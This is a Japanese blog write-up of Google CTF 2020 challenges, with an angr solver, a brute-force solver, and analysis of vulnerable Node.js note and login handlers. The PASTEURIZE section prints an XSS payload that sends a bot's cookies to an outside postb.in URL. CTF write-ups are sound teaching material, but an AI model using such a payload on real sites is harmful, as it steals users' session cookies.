/dev/null

脳みそのL1キャッシュ

Google CTF 2020 - Write-up

はじめに

2020/08/22~2020/08/24の間に開催されていたGoogle CTF 2020にチームTomatosaladとして出場しました。今回は3人で参加し、 4問解いて163位でした。

reversing問

BEGINNER

ELFバイナリを解析する問題です。main 関数の中は以下のようになっています。

ユーザ入力を SIMD 命令でわちゃわちゃ計算したあと、その計算結果が特定の条件を満たすかチェックします。 チェックが通れば SUCCESS、通らなければ FAILURE が表示されます。

計算の部分が人力で解析してもいいのですが、しんどいので angr に任せましょう(脳死

import angr
import claripy

p = angr.Project("./a.out", auto_load_libs=False)

# 標準入力に渡すのは 15 文字 + 改行文字で合計 16 文字
flag_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(15)]
stdin = claripy.Concat(*flag_chars + [claripy.BVV(b"\n")])

# 初期状態の作成
st = p.factory.full_init_state(
    args=["./a.out"],
    add_options=angr.options.unicorn,
    stdin=stdin
)

# flag は printable という制約を加える
for k in flag_chars:
    st.solver.add(k < 0x7f)
    st.solver.add(k > 0x20)
    
sm = p.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
    # 標準出力に SUCCESS が存在する場合の標準入力を調べる
    if b"SUCCESS" in x.posix.dumps(1):
        print(x.posix.dumps(0))

実行すると

$ python solve.py
WARNING | 2020-09-03 01:39:22,767 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2020-09-03 01:39:24,327 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2020-09-03 01:39:24,327 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2020-09-03 01:39:24,327 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2020-09-03 01:39:24,328 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2020-09-03 01:39:24,328 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2020-09-03 01:39:24,328 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 56 unconstrained bytes referenced from 0x500008 (strncmp+0x0 in extern-address space (0x8))
WARNING | 2020-09-03 01:39:24,329 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x500008 (strncmp+0x0 in extern-address space (0x8))
WARNING | 2020-09-03 01:39:24,337 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0030 with 16 unconstrained bytes referenced from 0x500008 (strncmp+0x0 in extern-address space (0x8))
b'CTF{S1MDf0rM3!}\n'

ANDROID

apk の rev 問です。と言っても、apk の rev part は一瞬で終わります。アプリの内容はキーワードチェッカーで、特定のキーワードを入力するとチェックが通ります。 チェック処理の内容は rev すれば自明にわかるほど簡単なので、あとは solver を書くだけです。

以下の solver はチェックが通る入力を全探索で探します。

import sys
from tqdm import tqdm
from itertools import permutations

f0 = [40999019, 2789358025, 656272715, 18374979, 3237618335, 1762529471, 685548119, 382114257, 1436905469, 2126016673, 3318315423, 797150821]
f2 = [0 for _ in range(12)]
f1 = 0
candidates = "0123456789abcdefghijklmnopqrstuvwxyz_!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~}"

def calculate_f2(flag):
    f2 = flag[3] << 24
    f2 = f2 | (flag[2] << 16)
    f2 = f2 | (flag[1] << 8)
    f2 = f2 | flag[0]
    return f2

def m0(a, b):
    if a == 0:
        return 0, 1
    r = m0(b % a, a)
    return r[1] - ((b // a) * r[0]), r[0]

def rm0(a, b):
    res = m0(a, 4294967296)[0]
    return (((res % 4294967296) + 4294967296) % 4294967296) == b

ans = ""
for i in range(12):
    if i == 0:
        continue

    print(f"finding {i}...")
    found = False
    for flag in tqdm(permutations(candidates, 4)):
        orig_flag = "".join(flag)
        flag = [ord(_) for _ in orig_flag]
        f2 = calculate_f2(flag)
        if rm0(f2, f0[i]):
            found = True
            ans += orig_flag
            print(ans)
            break
    if not found:
        ans += "????"

web問

PASTEURIZE

チームメイトの超絶ファインプレーで解けた問題です。

この問題では、メモが作れる的なサービスが与えられます。サービスの機能としては

  1. メモを作成できる
  2. 自分が作ったメモを JTMike というボットに見せることができる

また、サーバ側のコードも与えられています。

コード内の以下の箇所に脆弱性があります。

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;  // 文字列以外(配列など)を渡せる
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }
  // この後配列のチェックをせずに DB に保存
...

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  // レスポンスを返す時も特に文字列かどうかチェックしてない
  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });

このようにユーザから渡されたデータが文字列かどうかをきちんとチェックしてないので、以下のように配列を渡してあげると XSS を成功させることができます。

ちなみに、この時のページのソースを見てみると以下のようになっています。

ここまでくればあとは、JTMike のクッキーを抜くだけです。alert の代わりに以下をフォームに入力し、サーバに送信します。あとは、JTMike にメモを共有し、Postb.in で待つだけです。

; setTimeout(function () {window.location.href='https://postb.in/1598778561697-9849768290296?q=''+document.cookie;}, 4000); //

こんな感じでフラグをゲットです。

LOG-ME-IN

解けたには解けたが、なぜ解けたのかよくわからない問題。 この問題のサービスでは、michelleというユーザーのみがフラグを閲覧できるため、パスワードがわからない状態でどうにかしてmichelleとしてログインしたいです。

そこで、ログイン処理を見てみると、またもやユーザの入力が文字列かどうかをチェックしていないことがわかります。

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  // u, p の文字列チェックをしていない!  

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    } else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

色々試してみた結果、以下の入力でログインできることがわかりました。

なぜ、この入力でログインできたんでしょうねぇ…要調査です。

おわりに

難易度高めの CTF だったため、全然解けませんでした。easy 問で解けてない問題もあるし、悔しいです。